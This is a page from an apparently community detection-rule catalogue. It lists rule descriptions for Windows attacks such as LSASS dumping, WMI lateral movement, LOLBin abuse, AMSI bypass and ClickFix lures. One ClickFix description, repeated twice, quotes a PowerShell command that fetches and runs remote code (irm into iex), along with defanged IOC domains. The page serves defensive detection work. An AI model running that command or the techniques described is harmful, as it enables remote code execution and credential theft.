Detections
Explore public detection logic contributed by the community across SIEM and rule languages.
40,063 detections
Filters
Last updated
All Time
Detection languages
15,361
13,596
2,797
1,803
1,725
Contributors
7,678
5,999
5,315
4,504
4,191
Categories
18,113
9,760
3,854
3,760
3,714
Platforms
40,063
7,331
6,542
3,907
3,666
Products / Services
10,442
9,677
6,722
1,888
1,879
MITRE Techniques
13,738
13,119
8,068
5,949
4,415
CVEs
49
45
30
30
29
IDS Classtypes
214
56
43
23
19
IDS Protocols
183
172
20
16
8
Detects unauthorized or suspicious use of Windows Management Instrumentation (WMI) for lateral movement and remote code execution. The rule monitors for common WMI exploitation vectors, including the use of wmic.exe for process creation, PowerShell or C# invocations of WMI/CIM methods (such as Win32_Process Create), WMI event subscription registration for persistence, and the execution of mofcomp.exe.
Detects common LSASS memory dumping techniques, including suspicious process access rights (EventID 10) and the execution of tools or techniques (EventID 1) such as comsvcs.dll, procdump, taskmgr, or werfault, which are often used to harvest credentials.
Detects suspicious cross-process access patterns targeting trusted system processes (svchost.exe, explorer.exe, notepad.exe) by utilizing broad process access rights (such as PROCESS_VM_WRITE and PROCESS_CREATE_THREAD). This behavior is characteristic of process injection techniques like process hollowing, often employed by loaders and malware to execute code within the context of a legitimate process.
Detects the abuse of Windows signed binaries (LOLBins) rundll32.exe and regsvr32.exe for proxy execution. Rundll32.exe activity is monitored for the use of javascript: pseudo-protocol or comsvcs.dll for MiniDump operations, while regsvr32.exe activity is monitored for Squiblydoo-style remote scriptlet execution via /i:http and other suspicious flag combinations.
Detects the execution of PowerShell with suspicious command-line arguments often used by adversaries for obfuscation, evasion, or in-memory code execution, such as encoded commands, hidden windows, and downloading external content.
This rule detects modifications to Windows Registry 'Run' or 'RunOnce' keys where the configured value points to a file located in common user-writable or temporary directories (AppData, Temp, ProgramData) with an executable extension (.exe, .dll, .scr, .bat, .vbs, .ps1, .cmd). This pattern is a common technique used by adversaries to establish persistence by ensuring malicious code executes automatically upon user login or system startup.
Detects a single user account performing NTLM network logons (LogonType 3) to 3 or more distinct hosts within a short time period. This pattern is commonly associated with lateral movement techniques such as Pass-the-Hash, where an attacker uses compromised credentials to spread across a network.
Detects the creation of scheduled tasks using schtasks.exe that either trigger on user logon or startup and point to common writable directories (e.g., Temp, AppData), or tasks created with a remote system argument, which is frequently used by adversaries for persistence or lateral movement.
This rule detects attempts to impair or disable security defenses on Windows systems. It specifically monitors for three categories of malicious behavior: PowerShell-based AMSI (Antimalware Scan Interface) bypass techniques, commands to stop security-related services (e.g., Windows Defender, SentinelOne, CrowdStrike Falcon), and the use of 'reg' or 'PowerShell' to modify registry keys associated with disabling antivirus or real-time monitoring.
Detects instances where a signed executable loads an unsigned, invalid, or revoked DLL that shares the same base filename, located outside of standard Windows system directories (System32, SysWOW64, WinSxS). This behavior is characteristic of DLL search-order hijacking and side-loading attacks often employed by loaders and malware such as Cobalt Strike.
This rule detects the creation of named pipes with names patterns commonly associated with post-exploitation frameworks, such as Cobalt Strike and Sliver. These frameworks frequently use specific, sometimes randomized, pipe patterns for inter-process communication, lateral movement, or command and control (C2) operations. Monitoring these pipe names can help identify malicious activity occurring within a compromised environment.
Detects Active Directory Certificate Services (AD CS) certificate requests that include a Subject Alternative Name (SAN) or custom altname attribute, specifically those enabling client authentication. This pattern is commonly associated with the ESC1 privilege escalation technique, where an adversary requests a certificate that impersonates another user or machine account.
Detects suspicious post-exploitation activities, including service creation, local account modification, or security tool tampering, executed as SYSTEM shortly after activity associated with the ADSelfService Plus GINA logon-screen vulnerability (CVE-2026-74849).
KQL Query
Detects instances where the system DNS process (dns.exe) on a domain controller performs recursive DNS resolution towards a set of external IP addresses associated with suspicious infrastructure (AS202412). The rule correlates this activity with recent network connections from common web browsers or system utilities (msedge.exe, svchost.exe) on the same host to identify potential proxying of malicious DNS queries.
Detects network communication to a suspicious staging domain (pdf.gusercontent.com) that mimics legitimate services. This traffic is associated with the 'onInstalled' event handler of a malicious browser extension, often used to signal a successful infection or initiate secondary payload delivery.
KQL Query
This rule detects the presence of the malicious 'pdf-para-texto@extensao.local' Firefox extension on disk. This extension is known to perform browser-based credential interception by patching the WebAuthn PublicKeyCredential interface at document_start on Google-related domains to facilitate account takeover.
Detects the ClickFix social-engineering technique from the third-party.com report: a fake CAPTCHA/Cloudflare page tricks a user into pressing Win+R, pasting a clipboard-poisoned command, and hitting Enter, launching PowerShell (spawned by explorer.exe, the Run dialog's parent) that chains Invoke-RestMethod (irm) into Invoke-Expression (iex) to fetch and execute a remote payload in memory, e.g. powershell "Write-Host(&{iex(irm('<url>'))})2>$null". Reference IOCs from the report: lure domain third-party[.]com, second-stage payload elxxvvx[.]xyz/f.
Detects the ClickFix social-engineering technique from the third-party.com report: a fake CAPTCHA/Cloudflare page tricks a user into pressing Win+R, pasting a clipboard-poisoned command, and hitting Enter, launching PowerShell (spawned by explorer.exe, the Run dialog's parent) that chains Invoke-RestMethod (irm) into Invoke-Expression (iex) to fetch and execute a remote payload in memory, e.g. powershell "Write-Host(&{iex(irm('<url>'))})2>$null". Reference IOCs from the report: lure domain third-party[.]com, second-stage payload elxxvvx[.]xyz/f.
This rule detects a multi-stage attack chain involving the execution of a script (likely config.cmd) via curl, followed by the modification of the Active Setup StubPath registry key for persistence, and subsequent execution of a Python script (config.py) from a non-standard location in AppData\Local\Microsoft\.
Page 171 of 1908